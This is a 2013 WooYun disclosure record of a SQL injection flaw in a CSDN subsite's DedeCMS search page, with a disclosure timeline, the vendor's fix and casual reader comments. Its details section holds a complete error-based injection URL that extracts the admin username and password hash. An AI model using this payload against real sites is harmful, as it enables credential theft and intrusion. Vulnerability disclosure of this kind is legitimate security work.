CSDN分站SQL注射

漏洞概要

缺陷编号:WooYun-2013-017618

漏洞标题:CSDN分站SQL注射

相关厂商:CSDN开发者社区

漏洞作者:xss

提交时间:2013-01-21 13:03

公开时间:2013-03-07 13:04

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

Tags标签:

漏洞详情

披露状态:

2013-01-21: 细节已通知厂商并且等待厂商处理中
2013-01-21: 厂商已经确认,细节仅向厂商公开
2013-01-31: 细节向核心白帽子及相关领域专家公开
2013-02-10: 细节向普通白帽子公开
2013-02-20: 细节向实习白帽子公开
2013-03-07: 细节向公众公开

简要描述:

CSDN分站SQL注射

详细说明:

文章浏览处DEDE的SQL注射http://articles.csdn.net/plus/search.php?keyword=as&typeArr[111%3D@\')+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+%23@__admin+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@\'+]=a

漏洞证明:

修复方案:

http://www.2cto.com/Article/201301/184105.html

漏洞回应

厂商回应:

危害等级:低

漏洞Rank:3

确认时间:2013-01-21 15:43

厂商回复:

尽快修复

最新状态:

2013-01-25:已经解决。

评价

  1. 2010-01-01 00:00 saline 白帽子 | Rank:204 漏洞数:22)

    呵呵

  2. 2010-01-01 00:00 疯子 白帽子 | Rank:254 漏洞数:39)

    @saline 呵呵 注射帝

  3. 2010-01-01 00:00 px1624 白帽子 | Rank:963 漏洞数:126)

    @疯子 名字就不应该叫xss,应该叫sql、

  4. 2010-01-01 00:00 無情 白帽子 | Rank:39 漏洞数:4)

    @saline 我怎么感觉你像贵州的。。

  5. 2010-01-01 00:00 saline 白帽子 | Rank:204 漏洞数:22)

    @無情 为什么啊~?我咋也感觉你是贵州的?你是妹子吗?你是妹子我就在贵州

  6. 2010-01-01 00:00 蓝风 白帽子 | Rank:125 漏洞数:24)

    @無情 是否是木子

  7. 2010-01-01 00:00 数据缘 白帽子 | Rank:17 漏洞数:2)

    @saline @疯子 两个疯疯回家喝奶去。

  8. 2010-01-01 00:00 数据缘 白帽子 | Rank:17 漏洞数:2)

    @無情 大神是怎么推算出来的?哈哈,难道是看内裤颜色?